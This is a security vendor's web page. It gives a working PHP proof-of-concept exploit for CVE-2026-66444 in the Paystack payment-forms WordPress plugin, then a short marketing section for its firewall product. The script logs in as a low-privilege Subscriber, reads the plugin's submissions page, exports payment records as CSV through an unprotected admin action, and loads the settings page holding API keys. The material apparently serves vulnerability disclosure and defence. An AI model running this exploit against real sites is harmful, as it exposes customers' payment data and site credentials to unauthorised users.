// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66444 - Payment Forms for Paystack <= 4.0.5 - Authenticated (Subscriber+) Information Exposure

// Configuration
$target_url   = 'http://target.local';
$sub_user     = 'subscriber';
$sub_pass     = 'subscriberpass';
$form_id      = 1;

$cookie_jar = tempnam( sys_get_temp_dir(), 'pff_poc_' );

// Step 1: Log in as a Subscriber to obtain an authenticated session.
$ch = curl_init();
curl_setopt_array( $ch, array(
    CURLOPT_URL            => $target_url . '/wp-login.php',
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query( array(
        'log'         => $sub_user,
        'pwd'         => $sub_pass,
        'wp-submit'   => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie'  => 1,
    ) ),
    CURLOPT_COOKIEJAR      => $cookie_jar,
    CURLOPT_COOKIEFILE     => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
) );
curl_exec( $ch );
curl_close( $ch );

// Step 2: Request the submissions page. Pre-4.0.6 this page lacks a capability check,
// so a Subscriber receives the rendered payments table.
$ch = curl_init();
curl_setopt_array( $ch, array(
    CURLOPT_URL            => $target_url . '/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=' . intval( $form_id ),
    CURLOPT_COOKIEFILE     => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
) );
$submissions = curl_exec( $ch );
curl_close( $ch );

echo "=== Submissions page (truncated) ===n";
echo substr( $submissions, 0, 2000 ) . "nn";

// Step 3: Export payment data as CSV. No nonce or capability check pre-4.0.6.
$ch = curl_init();
curl_setopt_array( $ch, array(
    CURLOPT_URL            => $target_url . '/wp-admin/admin-post.php',
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query( array(
        'action'  => 'pff_paystack_export_excel',
        'form_id' => intval( $form_id ),
    ) ),
    CURLOPT_COOKIEFILE     => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
) );
$csv = curl_exec( $ch );
curl_close( $ch );

echo "=== Exported payment CSV (truncated) ===n";
echo substr( $csv, 0, 2000 ) . "nn";

// Step 4: Access the settings page (registered with 'edit_posts' pre-patch) to confirm key presence.
$ch = curl_init();
curl_setopt_array( $ch, array(
    CURLOPT_URL            => $target_url . '/wp-admin/edit.php?post_type=paystack_form&page=settings',
    CURLOPT_COOKIEFILE     => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
) );
$settings = curl_exec( $ch );
curl_close( $ch );

echo "=== Settings page (truncated) ===n";
echo substr( $settings, 0, 2000 ) . "n";

@unlink( $cookie_jar );

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.